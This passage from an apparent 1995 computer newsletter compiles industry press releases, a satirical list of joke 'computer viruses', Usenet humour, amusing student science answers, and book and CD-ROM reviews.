reliability in our 500-disc jukebox." info: tel. 408-727-4356 or CompuServe 74021,1117 @START@AST Endorses Pakistan's Software Initiative AST ENDORSES PAKISTAN'S SOFTWARE INITIATIVE ANNOUNCED BY PRIME MINISTER BHUTTO IRVINE, Calif., - April 12, 1995 - AST Computer announced its endorsement of Pakistan's Software Export Initiative presented today by Prime Minister Benazir Bhutto to a group of software companies from around the United States. "Information Technology plays a key role in development of global economics in third world countries," said Safi Qureshey, AST's chairman and chief executive officer. "This initiative by the Pakistani government demonstrates a commitment that is vital to the successful development of the software industry in Pakistan and is in harmony with AST's commitment to furthering the use of technology worldwide." info: tel. 714/727-4141 or 800/876-4278 (AST) @START@Over 3,000 High Tech Firms Profiled in 1995 AEA Directory OVER 3,000 HIGH TECH FIRMS PROFILED IN 1995 AEA DIRECTORY SANTA CLARA, Calif. - April 12, 1995 - The just-published American Electronics Association (AEA) 1995 Membership Directory shows that 23 percent of the trade group's member firms are in the software segment of the industry. Semiconductor firms are second with 16 percent, with communications and telecommunications companies following, with 15 and 11 percent, respectively. info: tel. 408/987-4251 @START@IBM Reduces Prices of Top ThinkPad Models IBM REDUCES PRICES OF TOP ThinkPad MODELS SOMERS, N.Y. - April 12, 1995 - IBM today reduced prices by up to 14 percent on selected models of ThinkPad(a) notebook computers. The price cuts cover four models in the premium 755 series, including the 755C and 755CD, a CD-ROM unit with advanced video, telephony and infrared capabilities that remain unmatched by competitors. info: tel. 914/766-3419 @START@Microsoft Concedes to Wang MICROSOFT CONCEDES TO WANG FRAMINGHAM, Mass. - April 12, 1995 - In a move that is uniquely conciliatory, Microsoft has agreed to display Wang's name on the screen of every copy of Microsoft Windows. This is part of Wang's settlement of its legal proceedings with Microsoft, which centered around ownership of Object Linking and Embedding (OLE), a cornerstone of Microsoft Windows. The agreement additionally includes a cash consideration, worldwide service agreement, and other technology access, and positions Wang for market for market leadership in imaging and work flow going forward. @START@New Software Makes PC Card Installations Painless NEW SOFTWARE MAKES PC CARD INSTALLATION PAINLESS IRVINE, Calif. - April 12, 1995 - New Media, a leading developer and manufacturer of portable computing solutions, Wednesday introduced "Auto-Install" configuration software, a unique software package designed by New Media to make the company's full- line of PC Cards the easiest in the industry to install. New Media set the standard for ease-of-use in PC Card software when it introduced the industry's first true PCMCIA plug-and-play client drivers, giving users the ability to freely exchange, remove and/or insert PC Cards into their mobile PCs without the need to re-configure or re-boot their systems. info: tel. 714/453-0100 @START@Apple Stock Rises as Takeover Talk Resurfaces APPLE STOCK RISES AS TAKEOVER TALK RESURFACES PALO ALTO, Calif. - April 13 - Apple Computer Inc. stock rose in heavy trading Wednesday amid renewed talk of a possible takeover of the personal computer maker, industry analysts said. Analysts pointed to several factors that could be buoying the stock, including a report carried in Tuesday's San Francisco Examiner quoting Oracle Corp. Chief Executive Larry Ellison as saying the database software company had actively pursued buying Apple. @START@ISDN Modem Soars to Record Performance Heights ISDN MODEM SOARS TO RECORD PERFORMANCE HEIGHTS V.42bis Compression Ensures Optimum Throughput LAS VEGAS, April 14 - ZyXEL, the leading supplier of high performance modem and data communications products, has unveiled the industry's first family of ISDN modems to provide ISDN and V.34 transmission capabilities in a single device. Setting the pace in ISDN modem performance, the ZyXEL Elite Series of ISDN modems offer features not previously available in a single product. The company has redefined modem communications by combining advanced ISDN technology with V.34 capabilities and an extensive array of analog features to provide users with a high-performance, multi- functional product. info: tel. 714-693-0808 @START@Echo Lake Personal Multimedia PGM Applauded ECHO LAKE PERSONAL MULTIMEDIA PGM APPLAUDED Delrina's Echo Lake Applauded by Computer Industry Pundits SAN JOSE, CA, and TORONTO, ONT - April 14, 1995 - One of the most talked about new consumer software products is Delrina's Echo Lake, a personal multimedia program for capturing and sharing life stories. The product is expected to be available in May. The choice of Echo Lake as one of P.C. Letter's Demo '95 Premiere products, as well as early reaction from industry analysts and media, make this one of the most anticipated launches in Delrina+s seven-year history. "The user interface is absolutely gorgeous," said David Coursey, editor and publisher of P.C. Letter, and conference chairman for Demo '95. "And it's one of the best designed products I've seen in a long time. This is the kind of product that captures people+s imagination, and it may be the first application that lets average people create true multimedia shows." info: tel. 800-734-2330 @START@New Computer Viruses! Please note! The following new computer viruses have been detected. Please be alert for them when you scan your computers. OPRAH WINFREY VIRUS: Your 200MB hard drive suddenly shrinks to 80MB, and then slowly expands back to 200MB. POLITICALLY CORRECT VIRUS: Never calls itself a "virus", but instead refers to itself as an "electronic microorganism." PEACE CORPS VIRUS: Toughest virus you'll ever love. AT&T VIRUS: Every three minutes it tells you what great service you are getting. MCI VIRUS: Every three minutes it reminds you that you're paying too much for the AT&T virus. PAUL REVERE VIRUS: This revolutionary virus does not horse around. It warns you of impending hard disk attack---once if by LAN, twice if by C:>. RIGHT TO LIFE VIRUS: Won't allow you to delete a file, regardless of how old it is. If you attempt to erase a file, it requires you to first see a counsellor about possible alternatives. BILL CLINTON VIRUS: Promises to save your disk, then once installed, does what all of the other viruses tell it to do and ignores its installer. GEORGE BUSH VIRUS: It starts by boldly stating, "Read my docs....No new files!" on the screen. It proceeds to fill up all the free space on your hard drive with new files. ROSS PEROT VIRUS: Activates every component in your system, just before the whole damn thing quits. AL GORE VIRUS: Undistinguishable from the directory tree. MARIO CUOMO VIRUS: It would be a great virus, but it refuses to run. TED TURNER VIRUS: Colorizes your monochrome monitor. ARNOLD SCHWARZENEGGER VIRUS: Terminates and stays resident. It'll be back. DAN QUAYLE VIRUS: Prevents your system from spawning any child process without joining into a binary network. GOVERNMENT ECONOMIST VIRUS: Nothing works, but all your diagnostic software says everything is fine. NEW WORLD ORDER VIRUS: Probably harmless, but it makes a lot of people really mad just thinking about it. GALLUP VIRUS: Sixty percent of the PC's infected will lose 38 percent of their data 14 percent of the time. (plus or minus a 3.5 percent margin of error.) TERRY RANDLE VIRUS: Prints "Oh no you don't" whenever you choose "Abort" from the "Abort" "Retry" "Fail" message. TEXAS VIRUS: Makes sure that it's bigger than any other file. ADAM AND EVE VIRUS: Takes a couple of bytes out of your Apple. CONGRESSIONAL VIRUS: The computer locks up, screen splits erratically with a message appearing on each half blaming the other side for the problem. AIRLINE VIRUS: You're in Dallas, but your data is in Singapore. FREUDIAN VIRUS: Your computer becomes obsessed with marrying its own motherboard. PBS VIRUS: Your programs stop every few minutes to ask for money. ELVIS VIRUS: Your computer gets fat, slow and lazy, then self destructs; only to resurface at shopping malls and service stations across rural America. OLLIE NORTH VIRUS: Causes your printer to become a paper shredder. NIKE VIRUS: Just does it. SEARS VIRUS: Your data won't appear unless you buy new cables, power supply and a set of shocks. JIMMY HOFFA VIRUS: Your programs can never be found again. CONGRESSIONAL VIRUS #2: Runs every program on the hard drive simultaneously, but doesn't allow the user to accomplish anything. KEVORKIAN VIRUS: Helps your computer shut down as an act of mercy. IMELDA MARCOS VIRUS: Sings you a song (slightly off key) on boot up, then subtracts money from your Quicken account and spends it all on expensive shoes it purchases through Prodigy. STAR TREK VIRUS: Invades your system in places where no virus has gone before. HEALTH CARE VIRUS: Tests your system for a day, finds nothing wrong, and sends you a bill for $4,500. CLEVELAND INDIANS VIRUS: Makes your 486/50 machine perform like a 286/AT. CHICAGO CUBS VIRUS: Your PC makes frequent mistakes and comes in last in the reviews, but you still love it. ORAL ROBERTS VIRUS: Claims that if you don't send it a million dollars, it's programmer will take it back. RETURNED PC VOLUNTEER VIRUS: Still the toughest virus you've ever loved. Use your virus scan, don't let any of these viruses happen to your PC! @START@Limbaugh of Borg! : I am Limbaugh of Borg. : Resistance if futile. : Democrats are irrelevant. : Socialism is irrelevant. : You will be assimilated. : Ditto Ditto Ditto. Keith @SPACE@Mathematicians : In article <3n0gvg$lju@sunserv.kfki.hu>, : Matyas Sustik wrote: : >There are 3 kind of mathematician: those that can count and those : >that cannot. @SPACE@Funny Test Answers County High School, where I teach science. They reveal a wide variety of common errors from the funny guess to the complete misunderstanding of the subject. Enjoy. Q: Name a pollutant and its source: A: Weels from a motorway. Q: Is crude oil pure or a mixture? A: Pure, because its on its own. A: Pure, because it is nateral. Q: Why will this nail rust? A: If air get to a nail it will go rusty because air is really water. A: If drying agent fell from the sky it would crush your car, not rust it!!!! Q: What is meant by "endangered species"? A: It is soon to be killed off. A: It means that it is dangerous. Q: When the [cooling] experiment was repeated with thicker glass flasks, cooling took longer. Why? A: Because the heat had to conduct itself through a much thicker distance, which took a lot longer. Q: Where do you find the colours of a spectrum? A: In a Rambow. Q: [On digestion] What is the reaction between acids and antacids called? A: Relief Q: Why does it take longer to cook a potato on top of a mountain? A: Because the potato is at least 1000 feet above the ground. A: It takes longer because of convection. It has to rise all the way up, and th takes some time. Q: What is the unit of resistance? A: Homes (H). Q: The journey from Preston to Carlisle to Preston always takes longer than the journey from Preston to Carlisle. Suggest why this is so. A: The train driver would be tired. Q: Explain the conservation of momentum, and how it applies to a space rocket. A: The conservation of momentum means the conservation of force at which the Q: [On crude oil] What non-energy uses are there for oil? A: Cooking. Q: Describe the function of the cell membrane. A: It keeps the cell warm. Q: How is eye colour etc. passed on to the next generation? A: The jeans (not Levis). Q: Describe how the egg cell is specialised. A: The egg is round so it is easier to get down the tube, because if it was squa there would be a problem. Q: What should medical workers wear when dealing with accidents involving large amounts of blood? A: The should wear gloves and a suit. Q: A car is able to move, and can perform 3 life processes. What are they? A: Speak (hooter). A: Reproduce. A: Gets old. A: Turn. Q: There are three life processes that a car cannot carry out, so it cannot be a living thing. Which processes does a car not carry out? A: Wink A: Sleep. A: Jump in the air. Q: [On periscopes] How do the two mirrors make it work? A: The objects goes into the top mirror. It then gets reflected into the secondA: Your eyes hit the mirror. Q: [On a valley flooded by a dam] Give two problems that the rabbits might have after they have moved. A: They might not be able to get a good water supply, or an open space for them play. Q: Describe changes in the weather which could lead to a decrease in evaporation from oceans. A: There could be a drought, so there wouldn't be any water in the oceans to evaporate. Q: What liquid goes round the body? A: Liquid nitrogen. A: Sodium hydrogen carbonate. Q: Why can camels walk on sand better than horses? A: Because camels have flat, webbed feet. Roxane Johnson Roxane@treetop.demon.co.uk @START@Review: More Internet for Dummies REVIEW: MORE INTERNET FOR DUMMIES Levine & Young IDG Books 1994 If you enjoyed INTERNET FOR DUMMIES, here's more for you. After a quick refresher course on the basics that were well covered in the first volume, MORE INTERNET FOR DUMMIES expands on several topics and covers new areas to give the moderately experienced user new skills and knowledge on advanced Inter-netting. To be sure, there's a certain amount of duplication, but I found enough new material to make this volume worthwhile in its own right. Authors Levine and Young provide detailed coverage of some of the commercial on-line services that offer Internet access such as Delphi and America Online as well as public UNIX providers. There's a chapter on using Windows software to cruise the Internet as well as chapters on Trumpet (a great newsreader) and Eudora (an easy-to-use mail reading pgm available for both Windows and Mac users). MORE INTERNET FOR DUMMIES even tells you how to grab your own copy of the shareware version of Eudora right off the net! Other subjects expanded from INTERNET FOR DUMMIES include HGopher, WINWAIS, Internet Relay Chat or IRC for short, as well as updated and detailed World Wide Web coverage as well. There are a lot of little tidbits, called "Fun and Silly Stuff" and "10,000 Interesting Things to Do on the Net" to keep you busy for days. Finally there's a pretty comprehensive glossary that will intrepret the buzzwords and jargon and translate it to plain, understandable English. MORE INTERNET FOR DUMMIES is a post-graduate course on mastering the Internet and would be of particular interest to anyone using Windows and the programs that run under it to access the Net. It is well written with humor and includes more Rich Tennant's 5th Wave cartoons which are delightful as always. Not only is it enjoyable reading, you'll learn something too! %T More Internet for Dummies %A John R Levine & Margaret Levine Young %I IDG Books Worldwide %C San Mateo California %D 1994 %O $19.95 USA $26.95 Canada %G ISBN:1-56884-164-7 %P 390 pages, paperbound %K Internet, computer netwoeks, online services (C) 1995 Michael Crestohl Nahant Massachusetts USA mc@shore.net DISCLAIMER: I have no interest, financial or otherwise, in the success or failure of the book or materials reviewed herewith, nor have I received any compensation (other than a review copy requested by me) from anyone who has. All opinions expressed are strictly my own. @START@Review: Build Your Own Shortwave Antennas REVIEW: BUILD YOUR OWN SHORTWAVE ANTENNAS, 2nd Ed. Andrew Yoder TAB/McGraw-Hill As a radio amateur I have always been interested in antennas because without one, the best radio equipment is useless. Given the sophisticated state-of- the-art in receivers and transcievers, it seems that the only area left for experimentation and practical construction projects is the antenna system. Andrew Yoder (author of PIRATE RADIO, also published by TAB/McGraw-Hill) gives us lots of good hands-on information for the beginner and veteran alike. In the brief introduction, Yoder gives us some shortwave basics, discusses propagation and even chides the F.C.C. by reprinting a news release written by them in which they display an incredibly erroneous description of radio propagation. The serious portion of the book begins with beginner and makeshift antennas and continues with basic discussions on horizontal, vertical antennas and transmission lines. Now equipped with some fundamental knowledge we can start to construct some antennas. Author Yoder gives some essential info on construction, tools, materials and practices, masts and supports and, most important, emphasizes safety measures, grounding and lightning protection - probably the most important considerations when discussing antennas. Also covered are the standard half-wave dipole, end-fed Zepp, loops, rhombics, inverted vees and highly directional antennas. In addition, for those with limited space, there is a chapter on indoor, limited space and portable antenna systems that perform quite well given the limitations. Finally, there's a discussion on radio interference. The appendices include a chart of wire lengths for half-wave antennas, a bibliography and a list of suppliers. I enjoyed reading Andy Yoder's BUILD YOUR OWN SHORTWAVE ANTENNAS and would definitely recommend it as a valuable addition to any radio enthusiasts bookshelf. %T Shortwave Antennas %A Andrew Yoder %I TAB/McGraw-Hill %C New York Ney York %D 1994 %O $16.95 %G ISBN: 0-07-076534-0 %P 207 pages, paperbound %K shortwave radio reception, antennas (C) 1995 Michael Crestohl Nahant Massachusetts USA mc@shore.net DISCLAIMER: I have no interest, financial or otherwise, in the success or failure of the book or materials reviewed herewith, nor have I received any compensation (other than a review copy requested by me) from anyone who has. All opinions expressed are strictly my own. @START@Review: Internet Insider REVIEW: INTERNET INSIDER Ruffin Prevost Osborne McGraw Hill 1995 This is a collection of writings in a humorous and satirical vein about and from the Internet. The colorful cover reminds me of the supermarket checkout tabloids that I never seem to be able to avoid no matter how hard I try. INTERNET INSIDER offers such revelations as "Boy's Soul Sucked Into FAX- MODEM!", "Man Buys Desert Town - Plans to Build Info Highway" and "The King is Alive and Well Online - Sources say He Prefers Macs!" Of course there's the obligatory O.J. Simpson drivel, complete with your own O.J. police mugshot and photo of his cell in the "VIP Wing" of the L.A. County lockup. To be fair, there are some serious articles as well, such as "Is Big Brother Reading Your E-mail?" dated 1990. Many of the inclusions in INTERNET INSIDER are taken from various offbeat newsgroups or contributed by net users. And, there's more - the author promises to provide an ongoing e-mail updates and accept contributions for a future edition which will also be available by anonymous FTP. I found the INTERNET INSIDER marginally amusing. However, I wonder what the reaction might be if one of our new Congress members opposed to spending any more taxpayer money on the NREN got hold of a copy and used it to show the results of that funding! Personally I'll stick to MAD and old copies of NATIONAL LAMPOON. However, if you're a fan of the Midnight Star and other supermarket tabloids you'll love INTERNET INSIDER. %T Internet Insider - The Shocking News from the Edge of Cyberspace %A Ruffin Prevost %I Osborne McGraw-Hill %C Berkeley California %D 1995 %O $14.95 %G ISBN: 0-07-882084-7 %P 284 pp paperbound %K Internet humor (C) 1995 Michael Crestohl Nahant Massachusetts USA mc@shore.net DISCLAIMER: I have no interest, financial or otherwise, in the success or failure of the book or materials reviewed herewith, nor have I received any compensation (other than a review copy requested by me) from anyone who has. All opinions expressed are strictly my own. @START@Review: Multiengine Flying REVIEW: MULTIENGINE FLYING, Paul A Craig TAB/McGraw-Hill 1994 This new title, part of the TAB Practicl Flying series, is an excellent supplement to ground school training required to obtain a multi-engine rating, vital to all serious pilots. However, the change from single to multiengine flight presents new situations and elements of danger and it is essential for anyone seeking to make the transition be aware of these. Paul Craig, a CFI (Certified Flight Instructor) covers the essential subjects: multiengine aerodynamics, takeoffs, landings, engine-out procedures, propeller systems, fuel and electrical systems. Also included is a description of multiengine flight training detailing a syllabus of seven lessons complete with objectives and completion standards. Next, author Craig tells us about the Multiengine rating practical test standards and what to expect including sample oral questions you are likely to be asked during the examination. Finally, there is a chapter on the multiengine flight instructor and what to do once you earn your multiengine rating. This book is obviously not for new pilots, but for those with many single engine hours in their log books and considerable flight experience. A multiengine rating is mandatory for those seeking the Commercial Pilot's license or those wishing to move up to larger, faster and more powerful aircraft. This book will help you understand what you're getting into and help you through it should you decide to go after your multiengine rating. %T Multiengine Flying %A Paul A Craig %I TAB/McGraw-Hill %C Blue Ridge Summit, PA %D 1994 %O $19.95 %G ISBN:0-07-013423-5 %P 212 pp, paperbound %K aviation, multiengine (C) 1995 Michael Crestohl Nahant Massachusetts USA mc@shore.net DISCLAIMER: I have no interest, financial or otherwise, in the success or failure of the book or materials reviewed herewith, nor have I received any compensation (other than a review copy requested by me) from anyone who has. All opinions expressed are strictly my own. @START@Review: The Complete Idiot's Guide to Multimedia REVIEW: THE COMPLETE IDIOT'S GUIDE TO MULTIMEDIA David Haskins Alpha Books Recently I reviewed THE COMPLETE IDIOT'S GUIDE TO CD-ROM and found it to be most informative and well written. THE COMPLETE IDIOT'S GUIDE TO MULTIMEDIA seems to take up where the first book leaves off in expanding and offering new material on the subject. Some of the subjects covered include the Top Ten Things You Need to Know About Multimedia, Graphics and Sound, MIDI, WAV, installing and trouble- shooting multimedia peripherals, hardware and software. Also covered are the Top Ten CD-ROMs including Encarta, MYST and eight more. Of particular interest is a complete section on how to make your own multimedia presentations using text, images and sound to make all kinds of innovative and creative productions - slide shows, cartoons, animations and even movies! The book comes with a bonus CD-ROM that contains some neat stuff to play with - such as several game demos such as Epic's Pinball, Overkill (a fast space arcade game) and DOOM which is one of the hottest PC games ever! Also included are several neat graphics like chevy.gif and lunarium.gif and a whole lot more. In short - there's a lot in THE CONPLETE IDIOT'S GUIDE TO MULTIMEDIA to keep you occupied and busy for months. Its easy learning and fun to boot! %T The Complete Idiot's Guide to Multimedia %A David Haskin %I Alpha Books %C Indianapolis Indiana %D 1994 %O Includes CD-ROM, $19.95 USA, $26.99 Canada %G ISBN: 1-56761-505-8 %P 357 pages, paperbound %K CD-ROM, multimedia, computers (C) 1995 Michael Crestohl Nahant Massachusetts USA mc@shore.net DISCLAIMER: I have no interest, financial or otherwise, in the success or failure of the book or materials reviewed herewith, nor have I received any compensation (other than a review copy requested by me) from anyone who has. All opinions expressed are strictly my own. @START@Review: Fatal Distractions REVIEW: FATAL DISTRACTIONS by David Gerrold, The Waite Group Press 1994 This book and accompanying CD-ROM contains 87 of the very best ways to get beaten, eaten,maimed and mauled on your PC. The CD-ROM contains 180 MB of games that should keep any moderately active gamer occupied for months. System requirements are a 386 processor, 4 megs of RAM, a hard drive and, of course, a CD-ROM drive. In addition, many of the games support a mouse, joystick and soundcard. But, of course, any serious game-player has all that and probably much better. There are text adventures, dungeons, Pac-mazes, tetroids, puzzles, packing, strategy and 3-D games galore, including Castle Wolfenstein (with several add-ons), Commander Keen, Doom and a whole lot more. Also included is the Adventure Game Toolkit from Softworks. This is regarded as the best adventure game engine available anywhere and allows you to write your own adventure game. All in all, FATAL DISTRACTIONS is a wonderful collection of games and great diversions and $27.00 is a pretty good deal for the serious (and not so serious game player. %T Fatal Distractions %A David Gerrold %I The Waite Group Press %C Corte Madera California %D 1994 %O Includes CD-ROM $26.95 %G ISBN: 1-878739-77-8 %P 173 pages paperbound %K computer games (C) 1995 Michael Crestohl Nahant Massachusetts USA mc@shore.net DISCLAIMER: I have no interest, financial or otherwise, in the success or failure of the book or materials reviewed herewith, nor have I received any compensation (other than a review copy requested by me) from anyone who has. All opinions expressed are strictly my own. @START@Review: Internet Chat Quick Tour REVIEW: INTERNET CHAT QUICK TOUR Donald Rose Ventana Press INTERNET CHAT QUICK TOUR is another in the series of "Quick Tour" titles introducing readers to real-time on-line conversations. This book will guide you into this fascinating world that has been compared by many to Citizens' Band (CB) Radio, mainly for its similarities in engaging in communiations with total strangers on a random basis. INTERNET CHAT QUICK TOUR will tell you what to do in order to get connected to IRC and how to communicate within this multi-channel medium, showing which of these channels are fun, wierd and informative and how to participate in them. Also covered are rules of etiquette, behavioral quirks and patterns you're likely to encounter and some warnings as well. There is pretty decent coverage of the various chat channels on a multitude of subjects which explains what kind of discussion you may expect to find on them and information on IRC-related World Wide Web pages. The appendices list many IRC servers, contain a glossary of terminology and an explaination of the free On-line Companion service offered by Ventana Press. Although I am not personally familiar with IRC and on-line chatting, the book seems to explain the basics quite satisfactorily and thoroughty enough to satisfy anyone interested in becoming active on this interesting new communication medium. Donald Rose's book managed to pique my interest to the point that I may give it a try, when I have a few hours to kill. %T Internet Chat Quick Tour %A Donald Rose %I Ventana Press %C Chapel Hill NC %D 1995 %O $14.00 %G ISBN: 1-56604-223-2 %P 174 pp, paperbound %K Internet, IRC, on-line chat (C) 1995 Michael Crestohl Nahant Massachusetts USA mc@shore.net DISCLAIMER: I have no interest, financial or otherwise, in the success or failure of the book or materials reviewed herewith, nor have I received any compensation (other than a review copy requested by me) from anyone who has. All opinions expressed are strictly my own. @START@Review: NETLAW - Your Rights in the Online World REVIEW: NETLAW - Your Rights in the Online World Osborne/McGraw-Hill 1995 This book is important for anyone needing to know their legal rights and obligations in the online world. The subject is fascinating because it is so new that, in many cases, there are no legal precedents to guide us and therefore, its like sailing in uncharted waters. If there is such a person who is a recognized authority on the subject of online law it would have to be Lance Rose, Esq. He writes regularly for WIRED and BOARDWATCH and is a moderator on LEXIS Counsel Connect, a high-priced online system for attorneys. His law firm specializes in online legal matters. He is definitely very well qualified to author such a book. NETLAW covers many important issues - everything from freedom of speech, censorship, contracts, copyright, privacy, the public domain and a whole lot more. There's a chapter on dangers and responsibilities in the online world as well as online crime and what to do when the cops come knocking on your door with examples of prominent search and seizure cases like the Steve Jackson Games case. Also covered are adult materials, obscenity and pornography. The appendices contain a lot of valuable goodies as well - sample contracts, the text of relevant legislation such as the Electronic Communications Provacy Act, the Computer Fraud and Abuse Act, New York's Computer Crime Statute, the Child pornography Statute, relevant cases with citations, a bibliography of sources of additional information and much more. America is, unfortunately, a lithigator's paradise - make a wrong move and someone's waiting to sue you. This book is not a substitute for competent legal advice, but it may just save you from putting yourself in an awkward and compromising position that could cost you big bucks and more. NETLAW is not an easy read, but author Rose has done a fine job with the difficult task of writing about the Law for laypeople in language they can understand. It is therefore a valuable work and and every serious net user would be well advised to read it. %T Netlaw - Your Rights in the Online World %A Lance Rose, Esq %I Osborne/McGraw-Hill %C Berkeley California %D 1995 %O $19.95 %G ISBN: 0-07-882077-4 %P 372 pp, paperbound %K Internet, computer networks, legal issues (C) 1995 Michael Crestohl Nahant Massachusetts USA mc@shore.net DISCLAIMER: I have no interest, financial or otherwise, in the success or failure of the book or materials reviewed herewith, nor have I received any compensation (other than a review copy requested by me) from anyone who has. All opinions expressed are strictly my own. @START@Review: Virgin's One World Atlas Review of Virgin's One World Atlas ================================== There have been a couple of reviews of this CD-ROM in the British press recently that have given very good scores. These reviews seem to have been somewhat superficial so by way of balance here are my opinions. Good Points ----------- The interface works well. The first screen contains lots of objects that you can point and click at. These range from a pair of sunglasses (aviators ?) to cards marked 'Highest Mountain', 'Largest Lake' etc. The latter are spoiled because some of the titles are illegible. Every screen including this one has a rolled up embroidered scroll at the bottom. Click on this and it unrolls to give a series of navigation options. This clever idea means that the screens are never cluttered by a menu, and when you do want the menu a common set of icons help you navigate. As you navigate through the atlas a selection of world music plays. Clicking on the sunglasses brings up a beautifully rendered satellite picture ofthe earth complete with surface and submarine topography. Clicking on four directional arrows causes this image to rotate. Zooming in to the image displays increasingly more detail. Unfortunately you can't zoom from the satellite image to the actual world maps. Surely this would not have been too difficult to code ? You can look at political or geographic maps of the world and zoom in to a particular country. You can click on some of the larger cities to get a couple of facts and figures about them. Using the menu bar you can get a brief socio-political history of each country. You can also choose to look at a gallery of photographs of that country whilst listening to a selection of local music. Once you have selected a country you can return to the first screen to find out about the largest, highest etc. in that country. The title screen also allows you to use a crude text search facility to find the text on a particular country, city, lake etc. Bad Points ---------- And that's all ..... The geographical maps have a very poor level of detail. Only the major metropolitan areas and geographical features are displayed. This means that you will not be able to find small cities or large towns. I want to be able to use a CD atlas to find the location of any large town in the world. Ideally I would like to be taken to the appropriate part of the atlas as well. One of the major selling point of multimedia educational tools is depth of information. By any measure of depth this title fails. To only store facts about the country as a whole plus the record holding cities, lakes and mountains is pathetic. I want to be able find out information about particular cities, and perhaps even see their sights and sounds. Some of the better US atlases allow the user to zoom down to street maps. Why not hold a street map for each capital city ? This is a contentious area, but I expect the socio-political coverage to be un-biased. The section on the UK is very biased and does not represent a true account of the political happenings of the last decade. The picture gallery forthe UK begins with a series of pictures of 'The Troubles' in Northern Ireland. Despite perceptions in the US, this does not shape the day to day lives of the majority of the population of Northern Ireland let alone the rest of the UK. If this title is being bought as a research tool then you will be sadly disappointed. There is no image or text capture facility. So you will not be able to copy information to your favourite word processor to turn into an essay for school. In my opinion there is insufficient depth of information to perform any real research. Conclusion ---------- Why would anyone want to own this title ? If you want a pretty satellite image of the earth and want to browse the sights and sounds of particular countries whilst astounding people with facts like 'The second biggest city in Tibet is ...' then this title is for you. If you want any more detail below the level of country then look at what other atlases are available. This CD has a very slick front end and enough information to convice the average reviewer, but it has NO DEPTH. The majority of people will get bored of it very quickly. If you own Encarta '95 (Sorry, I can't speak for the other encyclopedias) then DO NOT BUY this CD. Encarta contains more geographical information than this disk and allows you to see the sights and sounds of individual cities not just countries. Ok, Encarta's map is cruder but then it's not supposed to be an atlas. If you want an atlas with pretty pictures of the world and good detailed country maps, then consider spending half the price of the disk on a paper atlasand the rest on a good CD game. By the way, I took this CD back to the shop and got my money back. Mike Coker "The views represented in those article are my own and do not represent those ofthe company I work for, my family, my cats or even the bloke I met in the pub last night." @START@Doonesbury on Disk DOONESBURY ON DISK NOVATO, Calif., April 5 - Mindscape(R), Inc., a leading developer of multimedia consumer software, is teaming up with acerbic political and social cartoonist Garry Trudeau to develop a line of software products based on Trudeau's unique Doonesbury characters and perspectives. Doonesbury Toonscapes(TM), as the line will be called, includes the following products, all currently under development: Doonesbury Screen Saver, Flashbacks: 25 Years of Doonesbury, and FrontRunner '96: the Doonesbury Election Game. The Doonesbury Screen Saver will debut this spring with the other titles following later in the year. Commenting on the selection of Mindscape as a partner in his first foray into software, Trudeau explained, "Microsoft was my first choice, but then I heard about Mindscape, which had a cooler name, and the people seemed smarter. So I went with them." info: CompuServe: 74664,3171, (Mindscape) @START@At Home with Microsoft BOB AT HOME WITH MICROSOFT BOB Keeping a home and family running smoothly is never an easy task. A home computer equipped with Microsoft Bob can make it easy and fun to track finances, organize tasks, communicate with family and friends, even help parents and kids get creative. AT HOME WITH MICROSOFT BOB, from Microsoft Press, is an idea-packed guide that offers plenty of ideas and advice for the home computing family to maximize fun and enjoyment. AT HOME WITH MICROSOFT BOB is a lively book that presents practical and fun ideas for using Microsoft Bob on a home computer. Simple instructions for navigating in the Microsoft Bob "Social Interface" make it easy to get acquainted with Microsoft Bob. The book helps readers integrate Microsoft Bob into their everyday home lives so that moving around in Microsoft Bob becomes as comfortable as moving around their own homes. info: tel. 206-882-8080 or 800-MSPRESS (rec'd from BAKER ENTERPRISES) @START@Review: Travel Planner CD REVIEW: CD-ROM - TRAVEL PLANNER CD Expert Software Here's another of those neat road-trip planners I've been looking at lately - and with a pleasant surprise! It does all kinds of neat things and the priced at just under $20.00 - more than half the cost of the competition. The TRAVEL PLANNER CD plans your trip in seconds, offering you a choice of shortest, quickest, preferred, scenic or optimized routings using a database containing 147,000 cities and 575,000 miles of roads in the U.S., Canada and Mexico. Once the route is selected TRAVEL PLANNER prints the itinerary and color maps to take along on your trip. TRAVEL PLANNER CD offers plenty of multimedia features too - like narrated slide shows that preview over 100 destinations, videos, audio help, descriptions and information on state and city points of interest. In addition there's some information on tourist needs like car rental, hotels, airlines and travel tips. To run Expert Software's TRAVEL PLANNER CD you'll need a 486SX or higher computer with 4MB of RAM, 5MB of hard drive space, MicroSoft Windows 3.1, VGA/SVGA, a mouse, a MPC2 compatible CD-ROM drive and as an option, a sound card. Quite frankly I'm impressed with this package, mainly in that it offers plenty of bang for the buck - lots of great features many of which are missing from the higher priced travel planners. At $19.95 it should please just about everyone. %T Travel Planner CD %I Expert Software %C Coral Gables FL %D 1994 %O CD-ROM, $19.95 %K Travel planner, roadmaps (C) 1995 Michael Crestohl Nahant Massachusetts USA mc@shore.net DISCLAIMER: I have no interest, financial or otherwise, in the success or failure of the book or materials reviewed herewith, nor have I received any compensation (other than a review copy requested by me) from anyone who has. All opinions expressed are strictly my own. @START@Review: Encarta'95 REVIEW: CD-ROM - ENCARTA'95 Microsoft 1994 Microsoft's complete interactive multimedia encyclopedia on CD-ROM is quite a package of knowledge and learning. One reviewer said "this is the CD-ROM that will make print encyclopedias obsolete", but its really like comparing apples and oranges. ENCARTA'95 is a LOT more fun than a shelf full of books! ENCARTA'95 is a sight and sound show that teaches. It contains more than 26,000 articles, 7,000 photos and illustrations, 800 maps, over 100 animations and video clips and, if that's not enough, more than 8 hours of sound! Microsoft's team of 25 editors update ENCARTA annually - the 1995 edition contains more than 10,000 revised articles and plenty of new material as well. The ENCARTA powerful pinpoint tool finds information easily and allows users to search by title, time, media, place, or key words and filters information to browse, create lists and find facts quickly and effortlessly. The new fly-out menus make finding articles much easier and faster. ENCARTA is extremely easy to master by anyone who can point a mouse and click the buttons! System requirements are pretty standard - a 386SX, 4MB of RAM, 3.5MB of free hard drive space, CD-ROM drive, sound card, SVGA monitor, Windows 3.1 or later, a mouse and loudspeakers. ENCARTA also features an interactive world atlas, an illustrated timeline of world history, a media gallery with thousands of graphics and a neat learning game called MindMaze. One feature I find extremely useful is ENCARTA'95's seamless integration with Microsoft's BOOKSHELF and WORKS programs which allows users to import information directly into a word processing application for easier report writing. I sure wish I had that capability when I was writing term papers and essays. Unfortunately, my review does not do ENCARTA'95 justice! There's so much great stuff and innovative presentation here. You really have to play with ENCARTA'95 for a few hours to fully appreciate it. If you recently purchased a multimedia system you may find that ENCARTA'95 was bundled with the software that came with it. If not, buy it and if you're not pleased, 